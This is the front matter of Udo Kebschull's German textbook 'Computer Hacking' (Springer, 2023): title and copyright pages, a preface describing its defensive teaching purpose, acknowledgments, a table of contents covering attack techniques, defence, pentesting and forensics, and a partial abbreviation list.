115 80 3MB
German Pages xviii, 288 [291] Year 2023
Udo Kebschull
Computer Hacking Eine Einführung zur Verbesserung der Computersicherheit in komplexen IT- Infrastrukturen
Computer Hacking
Udo Kebschull
Computer Hacking Eine Einführung zur Verbesserung der Computersicherheit in komplexen IT-Infrastrukturen
Udo Kebschull Hochschulrechenzentrum Universität Frankfurt Kraichtal, Deutschland
ISBN 978-3-662-67029-3 ISBN 978-3-662-67030-9 (eBook) https://doi.org/10.1007/978-3-662-67030-9 Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie; detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar. © Der/die Herausgeber bzw. der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 Das Werk einschließlich aller seiner Teile ist urheberrechtlich geschützt. Jede Verwertung, die nicht ausdrücklich vom Urheberrechtsgesetz zugelassen ist, bedarf der vorherigen Zustimmung des Verlags. Das gilt insbesondere für Vervielfältigungen, Bearbeitungen, Übersetzungen, Mikroverfilmungen und die Einspeicherung und Verarbeitung in elektronischen Systemen. Die Wiedergabe von allgemein beschreibenden Bezeichnungen, Marken, Unternehmensnamen etc. in diesem Werk bedeutet nicht, dass diese frei durch jedermann benutzt werden dürfen. Die Berechtigung zur Benutzung unterliegt, auch ohne gesonderten Hinweis hierzu, den Regeln des Markenrechts. Die Rechte des jeweiligen Zeicheninhabers sind zu beachten. Der Verlag, die Autoren und die Herausgeber gehen davon aus, dass die Angaben und Informationen in diesem Werk zum Zeitpunkt der Veröffentlichung vollständig und korrekt sind. Weder der Verlag, noch die Autoren oder die Herausgeber übernehmen, ausdrücklich oder implizit, Gewähr für den Inhalt des Werkes, etwaige Fehler oder Äußerungen. Der Verlag bleibt im Hinblick auf geografische Zuordnungen und Gebietsbezeichnungen in veröffentlichten Karten und Institutionsadressen neutral. Planung/Lektorat: Leonardo Milla Springer ist ein Imprint der eingetragenen Gesellschaft Springer-Verlag GmbH, DE und ist ein Teil von Springer Nature. Die Anschrift der Gesellschaft ist: Heidelberger Platz 3, 14197 Berlin, Germany
Für Tamara Alba & Linus
Vorwort
Die Einschläge kommen immer näher. Waren Cyberangriffe lange eine abstrakte Gefahr, sind sie inzwischen eine ernste Bedrohung für uns alle geworden, die mit ihrem Endgeräten oder Servern mit dem Internet verbunden sind. Galt noch vor wenigen Jahren das Mantra, dass schon nichts passieren wird, wenn man nur alle Updates eingespielt und die Firewall richtig konfiguriert hat, muss man inzwischen zur Kenntnis nehmen, dass Cyberkriminelle immer einen Weg finden, wie sie sich unberechtigt Zugang zu einem System verschaffen können. Für versierte Hacker ist es nur eine Frage des Aufwands, den sie treiben wollen. Gleichzeitig lässt sich erkennen, dass die Angriffe in der Regel immer nach einem ähnlichen Muster verlaufen. Höchste Zeit also, sich dieses Muster einmal genauer anzusehen, und so lag es vor ein paar Jahren nahe, eine entsprechende Vorlesung für Studierende im Master Informatik aus dem Boden zu stampfen. In der Zwischenzeit wurde diese Vorlesung immer weiterentwickelt und natürlich kam irgendwann der Gedanke auf, den Vorlesungsstoff in einem Lehrbuch zusammenzufassen. So ist dieses Buch entstanden. Das Ziel dieses Lehrbuches ist, einen Überblick über Techniken zu geben, wie Cyberkriminelle sich Zugang zu Rechnersystemen, mobilen Geräten und Netzen verschaffen, damit User und IT-Verantwortliche Wege finden, Angriffe frühzeitig zu erkennen und abzuwehren, bevor der Schaden allzu groß wird. Es geht also darum, zu vermitteln, wie Cyberkriminelle grundsätzlich vorgehen, wie sie denken und was sie wollen, damit Sie sich entsprechend wehren können. Aus diesem Grund ist das Buch in drei Teile gegliedert: Der erste Teil widmet sich den Grundlagen, deren Verständnis notwendig ist, um zu erkennen, wie Cyberkriminelle in fremde Systeme eindringen können. Im zweiten Teil liegt der Schwerpunkt bei den Angriffswegen und den Besonderheiten verschiedener Gerätetypen. Im dritten Teil geht es darum, wie eine gute Vorbereitung auf den Tag X aussehen könnte. Welche organisatorischen und operativen Maßnahmen sind wichtig, um nicht unvorbereitet mit einem Cyberangriff konfrontiert zu werden. Zu allen diesen Themen gibt es vertiefende Literatur. In diesem Lehrbuch geht es deshalb eher darum, die einzelnen Puzzlestücke zu einem großen Bild zusammenzufügen. VII
VIII
Vorwort
Dieses Lehrbuch soll auch kein Leitfaden für die Anwendung neuster Techniken und Angriffsvektoren sein. Vielmehr geht es darum, eine solide Grundlage und ein Bewusstsein für das Thema IT-Sicherheit zu schaffen. Am Ende der meisten Kapitel sind einfache Übungsfragen angefügt, die das Verständnis des Stoffes vertiefen sollen oder zumindest den Stoff noch einmal rekapitulieren. In einigen Kapiteln finden Sie zusätzlich einige praktische Übungen, die mit (P) gekennzeichnet sind. Für die Durchführung diese Aufgaben benötigen Sie entweder einen aktuellen PC oder Laptop, auf dem Sie genügend Ressourcen haben, um mehrere virtuelle Maschinen gleichzeitig betreiben zu können, oder Sie haben Zugriff auf ältere Rechnerhardware, die Sie in einem privaten, kleinen Netzwerk zusammenschalten. Als Alternative bietet sich auch ein Raspberry Pi als Ziel Ihrer Scanversuche an, der für weniger als 100 € verfügbar ist und sich für viele Bastelaufgaben eignet. Die Übungen sind mit Linux als Betriebssystem und Open-Source-Software realisiert, um der Lizenzproblematik aus dem Weg zu gehen. Grundkenntnisse in der Linux-Administration sind daher Voraussetzung. Anleitungen zur Installation diverser Softwarepakete finden Sie im Anhang zu diesem Buch. Dieses Lehrbuch richtet sich sowohl an Studierende der Informatik oder vergleichbarer Studiengänge, als auch an IT-Verantwortliche, die wissen wollen, wie Cyberkriminelle denken, wie sie sich verhalten und mit welchen Mitteln sie arbeiten, aber auch, wie man sich im Falle eines Falles wehren kann. Und natürlich richtet sich dieses Buch auch an alle, die sich für IT-Sicherheit interessieren, denn es gilt immer noch die Erkenntnis, dass die größte Schwachstelle in einem IT-System bei den Personen liegt, die dieses System betreiben. Dies wird hin und wieder auch als 60-cm-Problem bezeichnet. Aus Gründen der besseren Lesbarkeit verwenden wir in diesem Buch überwiegend das generische Maskulinum. Dies impliziert immer beide Formen, schließt also die weibliche Form mit ein. Frankfurt November 2022
Udo Kebschull
Danksagung
Dieses Lehrbuch ist aus meiner Vorlesung entstanden, die ich seit 2017 an der GoetheUniversität Frankfurt unter dem selben Titel halte. Eine Vorlesung kann man nicht mal so nebenher aus dem Boden stampfen, insbesondere dann nicht, wenn zu der Vorlesung auch noch Übungen, Live-Hacking-Demos und Prüfungen gehören sollen. Ich möchte daher meinen Kollegen Daniel Bilanovic, Jörg Breuer, Dr. Camilo Lara, Johannes Schöpp, Steven Voigt und Adham Zeidan für Ihre tatkräftige Unterstützung danken. Ohne ihren Einsatz wäre auch dieses Buch nie entstanden. Außerdem möchte ich Christoph Edinger und Hans-Joachim Hammer danken, die Teile zu SQL-Injection und Cross-Site-Scripting im Rahmen ihrer Gastvorlesung beigetragen haben.
IX
Inhaltsverzeichnis
1 Einleitung/Motivation. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 1.1 Was ist eigentlich ein Hacker?. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 1.2 Angriffe auf Rechnersysteme. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6 1.3 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 11 1.3.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 1.3.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 Teil I Technische Grundlagen 2 Grundlagen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.1 Betriebssysteme. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17 2.2 Schichtenmodelle. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 2.3 MAC-Adressen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.4 IP-Adressen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 2.5 Die Protokolle TCP und UDP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.6 IP-Ports. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 2.7 Network Address Translation. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 2.8 Das Tor-Netzwerk. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 2.9 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 29 2.9.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 29 2.9.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 30 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32 3
Die Mechanismen verschiedener Arten von Schadsoftware. . . . . . . . . . . . . 33 3.1 Trojaner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34 3.2 Viren. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 3.3 Backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36 3.4 Computerwurm. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 3.5 Rootkit. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37 3.6 Spyware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 38 XI
XII
Inhaltsverzeichnis
3.7 Adware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 3.8 Ransomware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 3.9 Botnet. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 3.10 Schutz durch Virenscanner. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 3.11 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 41 3.11.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41 3.11.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 42 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 43 Teil II Cyberangriffe 4 Angriffsmechanismen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 47 4.1 Informationen sammeln. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 4.1.1 Footprinting. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51 4.1.2 OS-Fingerprinting und Banner-Grabbing . . . . . . . . . . . . . . 53 4.2 Zugang erlangen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 4.2.1 Phishing. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 54 4.2.2 Scanning-Techniken. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 56 4.2.3 Werkzeuge zum Scannen von Netzwerken . . . . . . . . . . . . . 61 4.2.4 Maßnahmen gegen Scanning-Versuche. . . . . . . . . . . . . . . . 62 4.2.5 Firewalls umgehen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 63 4.2.6 Angriffe auf Webserver . . . . . . . . . . . . . . . . . . . . . . . . . . . . 68 4.2.7 SQL-Injection (SQLi) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 69 4.2.8 Cross-Site-Scripting (XSS) . . . . . . . . . . . . . . . . . . . . . . . . . 73 4.2.9 Man-in-the-Middle-Angriffe. . . . . . . . . . . . . . . . . . . . . . . . 75 4.2.10 Passwortschutz aushebeln . . . . . . . . . . . . . . . . . . . . . . . . . . 77 4.2.11 Einsatz von Metasploit. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 4.3 Ausbreitung im Netzwerk und Erweiterung der Rechte . . . . . . . . . . . . 82 4.3.1 Lateral Movement . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 4.3.2 Privilege Escalation. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 84 4.4 Schadfunktion einrichten. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 85 4.5 Dateien verstecken. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 87 4.6 Spuren verwischen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88 4.7 Denial-of-Service-Attacken. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 90 4.8 Typischer Ablauf am Beispiel eines Ransomware-Cyberangriffs. . . . . 93 4.9 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 95 4.9.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95 4.9.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102 5
Wireless Hacking. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 105 5.1 Privates, dienstliches und öffentliches WLAN. . . . . . . . . . . . . . . . . . . . 106 5.2 Betrieb eines öffentlichen WLAN. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 109
Inhaltsverzeichnis
XIII
5.3 5.4 5.5 5.6 5.7
Wired Equivalent Privacy (WEP). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 110 Wifi Protected Access (WPA). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 Wifi Protected Access 2 (WPA2). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 112 Wifi Protected Access 3 (WPA3). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 113 5.7.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113 5.7.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 114 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115 6
Mobile Hacking. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 117 6.1 Besondere Gefahren bei mobilen Endgeräten . . . . . . . . . . . . . . . . . . . . 117 6.2 Spyware . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119 6.3 Sicherungsmaßnahmen bei Android und iOS . . . . . . . . . . . . . . . . . . . . 120 6.3.1 Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 121 6.3.2 iOS und iPadOS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122 6.4 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 123 6.4.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 6.4.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
7
Internet of Things. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 7.1 Besondere Gefahren von IoT-Geräten. . . . . . . . . . . . . . . . . . . . . . . . . . 125 7.2 IoT-Kleingeräte. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 7.3 IoT-Großgeräte. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 7.4 Industrielle Produktionslagen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 130 7.5 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 131 7.5.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 131 7.5.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 132 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 133
Teil III Abwehr von Cyberattacken 8
Allgemeine Maßnahmen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 8.1 Umgang mit Passwörtern. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 139 8.2 Kampagnen zur Verbesserung der Phishing-Awareness. . . . . . . . . . . . . 141 8.3 Zwei- oder Mehrfaktorauthentisierung (2FA und MFA). . . . . . . . . . . . 144 8.4 Fast Identity Online (FIDO). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 147 8.5 Web Authentication (WebAuthn). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 8.6 Transport Layer Security (TLS). . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 152 8.7 Virtual Private Network (VPN) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 155 8.8 Zero Trust als Netzwerksicherheitsmodell. . . . . . . . . . . . . . . . . . . . . . . 156 8.9 Zero Trust Network Access (ZTNA). . . . . . . . . . . . . . . . . . . . . . . . . . . 161 8.10 Secure Access Service Edge (SASE). . . . . . . . . . . . . . . . . . . . . . . . . . . 163
XIV
Inhaltsverzeichnis
8.11
Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 164 8.11.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164 8.11.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168 9
Vorbereitungen für den Ernstfall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171 9.1 Awareness-Schulungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172 9.2 Common Vulnerabilities and Exposures (CVE) und das Common Vulnerability Scoring System (CVSS). . . . . . . . . . . . . . . . . . . . . . . . . . 174 9.3 Die Wissensdatenbank MITRE ATT&CK . . . . . . . . . . . . . . . . . . . . . . 176 9.4 BSI IT-Grundschutz. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177 9.5 Information-Security-Management-System (ISMS). . . . . . . . . . . . . . . 178 9.6 IT-Sicherheitstests und Notfallübungen. . . . . . . . . . . . . . . . . . . . . . . . . 179 9.7 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 180 9.7.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 180 9.7.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 181 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182
10 Penetration Tests. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 183 10.1 Auftragsklärung für einen Pentest. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 184 10.2 Arten von Pentests und Vulnerability-Scans . . . . . . . . . . . . . . . . . . . . . 184 10.3 Social Engineering Pentests. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186 10.4 Sicherheit von Web-Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . . 187 10.5 Sicherheit von Arbeitsplatzrechnern . . . . . . . . . . . . . . . . . . . . . . . . . . . 188 10.6 Schwachstellensuche in Netzwerken. . . . . . . . . . . . . . . . . . . . . . . . . . . 189 10.6.1 Der Einsatz von Nmap. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 190 10.6.2 Greenbone Vulnerability Management (GVM). . . . . . . . . . 195 10.7 Die Durchführung von Pentests. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197 10.8 IT-Sicherheitsaudits. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199 10.9 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 201 10.9.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 201 10.9.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 206 11 Intrusion Detection. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209 11.1 Erkennen von Angriffen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209 11.2 Indicators of Compromise (IoC) und Indicators of Attack (IoA). . . . . . 211 11.3 Intrusion Detection System (IDS) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213 11.4 Intrusion Prevention System (IPS). . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215 11.5 Beispiele für Open-Source Intrusion-Detection-Systeme . . . . . . . . . . . 216 11.5.1 Snort. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 216 11.5.2 Suricata. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217 11.5.3 Zeek. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217
Inhaltsverzeichnis
XV
11.6 Security Information and Event Management (SIEM) . . . . . . . . . . . . . 218 11.7 Honeypots. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219 11.8 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 221 11.8.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221 11.8.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 223 12 Incident Response . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 225 12.1 IT-Security-Incidents. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 227 12.2 Sofortmaßnahmen im Falle eines Angriffs. . . . . . . . . . . . . . . . . . . . . . . 229 12.3 Klassifizierung eines Security-Incidents . . . . . . . . . . . . . . . . . . . . . . . . 230 12.4 Der Incident-Response-Prozess. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 231 12.5 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 234 12.5.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 234 12.5.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 235 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 236 13 IT-Forensik . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 237 13.1 Sicherungsphase. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 238 13.1.1 Persistente Daten. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 239 13.1.2 Volatile Daten. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241 13.2 Analysephase. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 241 13.3 Präsentationsphase. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 244 13.4 Abschließende Bemerkungen zur IT-Forensik. . . . . . . . . . . . . . . . . . . . 245 13.5 Aufgaben & Lösungen zu diesem Kapitel. . . . . . . . . . . . . . . . . . . . . . . 246 13.5.1 Aufgaben. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 246 13.5.2 Lösungen. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 247 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249 14 Fallbeispiele erfolgreicher Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251 14.1 Mobile Endgeräte. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 251 14.1.1 Angriffe auf LTE- und 5G-Mobilfunknetze. . . . . . . . . . . . . 252 14.1.2 Pegasus Spyware. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252 14.2 Bekannte IoT-Hacks. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 253 14.2.1 Mirai Botnet (aka Dyn Attack). . . . . . . . . . . . . . . . . . . . . . . 253 14.2.2 Kardiologische Überwachungsgeräte . . . . . . . . . . . . . . . . . 254 14.2.3 Überwachungsgeräte der Herzfunktion von Babys. . . . . . . 254 14.2.4 TRENDnet WebCam Hack . . . . . . . . . . . . . . . . . . . . . . . . . 255 14.2.5 Jeep Hack. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255 14.2.6 Verkada-Einbruch. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 255 14.2.7 Alexa vs. Alexa . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256
XVI
Inhaltsverzeichnis
14.3 Verschlüsselungsangriffe. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256 14.3.1 WannaCry. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 256 14.3.2 Uni Maastricht. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 257 14.3.3 Ransomwareangriff auf ein Universitätsklinikum. . . . . . . . 259 14.3.4 DarkSide. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 259 14.4 Weitere bekannte Cyberangriffe. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 14.4.1 SolarWinds. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 14.4.2 DDoS-Angriff auf einen belgischen Internetprovider. . . . . 262 14.4.3 Log4J. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 262 14.4.4 Fernüberwachung von Windkraftanlagen . . . . . . . . . . . . . . 263 14.4.5 DDoS-Schutzgelderpressung. . . . . . . . . . . . . . . . . . . . . . . . 264 Literatur. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 265 A Open Source Werkzeuge. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267 B Mounten von logischen Volumes für forensische Untersuchungen. . . . . . . . . 279 C Zusammenstellung wichtiger Hyperlinks rund um die IT-Sicherheit . . . . . . 283 Stichwortverzeichnis. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 285
Abkürzungsverzeichnis
2FA Zwei-Faktor-Authentisierung API Application Programming Interface APT Advanced Persistent Threat BfV Bundesamt für Verfassungsschutz BIOS Binary Input/Output System BKA Bundeskriminalamt BSI Bundesamt für Sicherheit in der Informationstechnik BYOD Bring Your Own Device CaaS Cybercrime as a Service CERT Computer Emergency Response Team CSIRT Computer Security Incident Response Team CVE Common Vulnerabilities and Exposures CVSS Common Vulnerability Scoring System DDoS Distributed DoS DHCP Dynamic Host Configuration Protocol DLL Dynamic Link Library DMZ Demilitarisierte Zone DNS Domain Name Service DoD Department of Defense DoS Denial of Service FIDO Fast Identity Online HaaS Hacking as a Service HTML Hypertext Markup Language HTTP Hypertext Transfer Protocol ICMP Internet Control Message Protocol ICS Industrial Control Systems IDS Intrusion Detection System IoA Indicator of Attack IoC Indicator of Compromise IoT Internet of Things XVII
XVIII
IP Internet Protocol IPS Intrusion Prevention System ISMS Information Security Management System ISO Internationale Organisation für Normung IT Information Technology LAN Local Area Network LDAP Lightweight Directory Access Protocol LKA Landeskriminalamt MAC Media Access Control MFA Multi-Faktor-Authentisierung MMS Multimedia Messaging Service NAT Network Address Translation NFC Near Field Communication NIST National Institute of Standards and Technology NTP Network Time Protocol OSINT Open Source Intelligence OT Operational Technology PDF Portable Document Format PIN Personal Identification Number SASE Secure Access Service Edge SIEM Security Information and Event Management SNMP Simple Network Management Protocol SQL Structured Query Language SSH Secure Shell SSID Service Set Identifier SSO Single Sign On TAN Transaktionsnummer TCP Transmission Control Protocol TEE Trusted Execution Environment TLS Transport Layer Security UDP User Datagram Protocol UFW Uncomplicated Firewall URL Uniform Resource Locator USB Universal Serial Bus VPN Virtual Private Network WAN Wide 